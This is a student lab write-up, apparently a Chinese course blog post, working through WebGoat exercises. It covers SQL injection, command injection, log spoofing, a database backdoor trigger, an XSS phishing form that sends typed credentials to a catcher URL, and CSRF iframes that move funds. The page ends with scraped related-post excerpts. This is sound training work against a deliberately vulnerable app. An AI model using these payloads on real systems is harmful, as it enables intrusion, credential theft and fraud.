Web安全基础实践

实验后回答问题

(1)SQL注入攻击原理,如何防御

  • 原理:SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,使非法数据侵入系统。

  • 防御:使用正则表达式过滤传入的参数,对一些包含sql注入的关键字进行过滤;采用字符串过滤的方法;jsp中调用该函数检查是否包含非法字符,防止SQL从URL注入。

(2)XSS攻击的原理,如何防御

  • 原理:XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码(如,HTML代码和客户端脚本)植入到提供给其它用户使用的页面中,攻击者可以利用XSS漏洞旁路掉访问控制。

  • 防御:特征匹配方式,在所有提交的信息中都进行匹配检查;对所有用户提交内容进行可靠的输入验证,包括对URL、查询关键字、HTTP头、POST数据等;实现Session标记(session tokens)、CAPTCHA系统或者HTTP引用头检查,以防功能被第三方网站所执行。

(3)CSRF攻击原理,如何防御

  • 原理:CSRF跨站请求伪造,也被称为“oneclickattack”或者sessionriding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用,通过伪装来自受信任用户的请求来利用受信任的网站。是一种依赖web浏览器的、被混淆过的代理人攻击。

  • 防御:通过referer、token或者验证码来检测用户提交;尽量不要在页面的链接中暴露用户隐私信息,对于用户修改删除等操作最好都使用post操作;避免全站通用的cookie,严格设置cookie的域。

实验总结与体会

感觉这次一定是在激励我过六级,感谢老师,做完之后感觉自己能力大有长进,这次博客贼长,感觉不想看了,博客写了这么久,不贴图感觉少点啥

实践过程记录

webgoat开启

  • 开启WebGoat:java -jar webgoat-container-7.0.1-war-exec.jar按tab键

  • 运行一段时间后页面会停止,将此界面最小化,不要关闭

  • 在浏览器输入localhost:8080/WebGoat,进入webgoat,signin

SQL字符串注入(String SQL Injection)

  • 使用SQL注入,从而显示出所有信用卡号。可以先输入Smith试一试,第一次做的时候没有截图,悔恨终身,但是之前是成功了的

  • 输入'or 1='1,语句就变成SELECT * FROM user_data WHERE last_name = ''or 1='1',这句的意思就是查询用户信息 lastname='' OR(或者)1='1' ,这里的 1='1' 永远为真,所以成功通过。

  • 成功

数字型SQL注入(Numeric SQL Injection)

  • 允许使用者看到天气数据,利用SQL注入使得可以看见所有数据

  • 使用burpsuite作为网页代理,对传送的网页内容进行编辑以后再发到服务器,添加一个新的端口8888,设置代理“Proxy”的“Options”选项

  • 在浏览器中修改手动代理,端口号改为8888

  • 设置好之后回到题目,点击GO,然后回到burpsuite,会发现多了捕获的包

  • 右键send to repeater ,我们修改station值从为101 为 101 or 1=1,点击GO,可以看到右边response包中的SQL语句为SELECT * FROM weather_data WHERE station = 101 or 1=1

  • 回到Proxy中点击Intercept is on对剩下的包不作处理,回到火狐发现已经成功

日志欺骗(Log Spoofing)

  • 利用日志的格式,使用换行等字符,欺骗管理员

  • 输入5240%0d%0aLogin Succeeded for username: admin 即可成功登录

命令注入(Command Injection)

  • 点击view执行时使用了cmd.exe 直接运行dos指令。那么需要找到可以连接dos指令的符号。可以使用“&”,命令连接符号,就是把两个命令连续执行,不用换行。用来分隔一个命令行中的多个命令。Cmd命令提示符先运行第一个命令,然后运行第二个命令。

  • 使用burpsuite注入,找到可注入部分,注入语句AccessControlMatrix.help"&&ifconfig"

  • 成功注入

  • 返回浏览器,发现成功

盲数字注入(Blind Numeric SQL Injection)

  • 目标是得到一个存放在pins表中值pin的内容,行号cc_number=1111222233334444,可以先尝试101

  • 然后使用BurpSuite进行拦截,拦截后action--send to intruder进行暴力破解,使用sniper模式,选择10000进行数字爆破(选择前先clear将默认的爆破点清除),从1到10000,步长为1。可以发现2364的报文长度明显和其他不一样,那这个值就应该就是2364:

LAB:SQL Injection

Stage 1:String SQL Injection

  • 使用字符串SQL注入在没有正确密码的情况下登录账号boss,不明所以的点了登录就是失败

  • 将密码修改为' or 1=1 --, 利用SQL注入原理绕过密码检查

  • 或打开html文件,修改密码长度,由于之前是八位,影响了注入

  • 回到浏览器,发现登陆成功

Stage 3: Numeric SQL Injection

  • 通过注入语句,浏览到原本无法浏览的信息。通过一个普通员工的账户larry(刚刚实现了的),浏览其BOSS的账户信息。

  • 首先我们用上一题的办法登录Larry的账号,在密码框里输入' or 1=1 --,登录后发现我们只能看见Larry一个人的工资信息.

  • 甚至可以修改

  • 发现这个地方是以员工ID作为索引传递参数的,我们要达到通过Larry来浏览老板账户信息的目的,把其中的value值改为101 or 1=1 order by salary desc --,老板的工资是最高的,这样老板的信息就会被排到第一个

  • 然后成功查看到老板的信息

Database Backdoors

  • 输入注入语句:101; update employee set salary=10000,成功把该用户的工资涨到了10000。

  • 接下来使用语句101;CREATE TRIGGER lsjBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='20145240@qq.com' WHERE userid = NEW.userid 创建一个后门,把表中所有的邮箱和用户ID都设为我的。

跨站脚本钓鱼攻击(Phishing with XSS)

  • 这个题目我们要在搜索框中输入XSS攻击代码,
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
  • 在搜索框中输入攻击代码后点击搜索,会看到一个要求输入用户名密码的表单,随意输入用户名密码,点击登录,WebGoat会将你输入的信息捕获并反馈给你

  • 攻击成功

反射型XSS(Reflected XSS Attacks)

  • 如果我们输入错误的用户信息,服务器校验输入有误,会返回错误页面并将错误内容展示给我们看

  • 如果我们将带有攻击性的URL作为输入源,比如,就会弹出对话框

储存型XSS(Stored XSS Attakcs)

  • 给用户发一个信息,用户在打开这个信息的时候触发了隐藏在信息里面js代码,然后被盗走了cookies

  • 构造语句

  • 点击20145240,成功

Cross Site Request Forgery

  • 需要写一个URL诱使其他用户点击,从而触发CSRF攻击,我们可以以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件。

  • 查看自己电脑的Screen和menu的值

  • 在message里面输入就会发出一个转账的请求

  • 提交后,会在消息列表中看到一个新的消息,点击该消息,当前页面就会下载这个消息并显示出来,转走用户的钱,达到CSRF攻击的目的。

CSRF Prompt By-Pass

  • 利用CSRF进行冒名操作转账,不过这次包括了两个请求,一是转账请求,二是确认转账成功请求,直接在message中写入攻击代码,然后提交
<iframe src="attack?Screen=src值&menu=menu值&transferFunds=转账数额"> </iframe>
<iframe src="attack?Screen=src值&menu=menu值&transferFunds=CONFIRM"> </iframe>
  • 点击刚输入的title名字即可查看用户操作的信息

所有成功项目截图

20145240《网络对抗》Web安全基础实践的更多相关文章

  1. 20145334赵文豪网络对抗Web安全基础实践

    1.SQL注入攻击原理,如何防御? SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意SQL命令的目的. 对于SQL注入攻击的防范,我觉 ...

  2. 2018-2019 20165221 网络对抗 Exp5 MSF基础

    2018-2019 20165221 网络对抗 Exp5 MSF基础 实践内容: 重点掌握metassploit的基本应用方式,重点常用的三种攻击方式的思路.具体需要完成: 一个主动攻击实践,如ms0 ...

  3. 20145306 网路攻防 web安全基础实践

    20145306 网络攻防 web安全基础实践 实验内容 使用webgoat进行XSS攻击.CSRF攻击.SQL注入 XSS攻击:Stored XSS Attacks.Reflected XSS At ...

  4. 20155324《网络对抗技术》web安全基础实践

    20155324<网络对抗技术>web安全基础实践 实验内容 使用webgoat进行XSS攻击.CSRF攻击.SQL注入 实验问答 SQL注入攻击原理,如何防御 ①SQL注入攻击是攻击者在 ...

  5. 20155326《网络对抗》Web安全基础实践

    20155326<网络对抗>Web安全基础实践 实验后回答的问题 SQL注入攻击原理,如何防御? 原理:SQL注入攻击指的是在Web应用对后台数据库查询语句处理存在的安全漏洞,通过构建特殊 ...

  6. 20145203盖泽双 《网络对抗技术》实践九:Web安全基础实践

    20145203盖泽双 <网络对抗技术>实践九:Web安全基础实践 1.实践目标 1.理解常用网络攻击技术的基本原理. 2.Webgoat下进行相关实验:SQL注入攻击.XSS攻击.CSR ...

  7. 20145236《网络对抗》Exp9 web安全基础实践

    20145236<网络对抗>Exp9 web安全基础实践 一.基础问题回答: SQL注入攻击原理,如何防御 SQL Injection:就是通过把SQL命令插入到Web表单递交或输入域名或 ...

  8. 20145215《网络对抗》Exp9 Web安全基础实践

    20145215<网络对抗>Exp9 Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符 ...

  9. 20145208 蔡野 《网络对抗》Exp9 web安全基础实践

    20145208 蔡野 <网络对抗>Exp9 web安全基础实践 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 实验后回答问题 (1)SQL注入攻击原理,如何 ...

随机推荐

  1. nginx的简单使用和使用nginx在windows上搭建tomcat集群

    nginx是一款轻量级的web服务器,常用的作用为服务器/反向代理服务器以及电子邮件(IMAP/POP3)代理服务器 1.为什么我们要使用Nginx? 反向代理: 反向代理(Reverse Proxy ...

  2. HAPROXY简介

    HAProxy 是一款高性能TCP/HTTP 反向代理负载均衡服务器,具有如下功能: 根据静态分配的cookies完成HTTP请求转发 在多个服务器间实现负载均衡,并且根据HTTP cookies 实 ...

  3. HDU2842—Chinese Rings

    题目链接:http://acm.hdu.edu.cn/showproblem.php?pid=2842 题目意思:一把一个n连环的前n个拿下来,一个个n连环,要把第k个拿下来,需要把前n-2个拿下来, ...

  4. bash characters

    linux shell通配符(wildcard) 通配符是由shell处理的(不是由所涉及到命令语句处理的,其实我们在shell各个命令中也没有发现有这些通配符介绍), 它只会出现在 命令的“参数”里 ...

  5. python3在centos6.6上的安装

    建议:在看这个文档操作前,最好先参考一下这个:https://www.cnblogs.com/bookwed/p/10251236.html,是解决pip安装模块时,提示ssl版本低的问题. #提前的 ...

  6. shell基础知识总结

    1. shell 对于一台计算机而言,其硬件受系统内核的控制,使用者想要控制计算机,就必须有与系统内核进行通讯的手段.而shell就是使用者与计算机进行通讯的手段之一.从命名上看,shell其实是相对 ...

  7. Web项目管理工具精选(上)

    原文:Web项目管理工具精选(上) 随着新兴科技公司的蓬勃发展,不少Web应用和浏览器工具在开发者.设计者.自由职业者和项目经理中间流行开来.这些工具在不断发展,我们也看到越来越多的桌面应用.移动应用 ...

  8. windows中根据进程PID查找进程对象过程深入分析

    这里windows和Linxu系列的PID 管理方式有所不同,windows中进程的PID和句柄没有本质区别,根据句柄索引对象和根据PID或者TID查找进程或者线程的步骤也是一样的.   句柄是针对进 ...

  9. python web框架 MVC MTV

    WEB框架 MVC Model View Controller 数据库 模板文件 业务处理 MTV Model Template View 数据库 模板文件 业务处理

  10. Jenkins的安装及邮件配置

    Jenkins介绍  Jenkins,是基于Java开发的一种持续集成工具,用于监控秩序重复的工作,包括: 1).持续的软件版本发布/测试项目. 2).监控外部调用执行的工作. Jenkins安装 j ...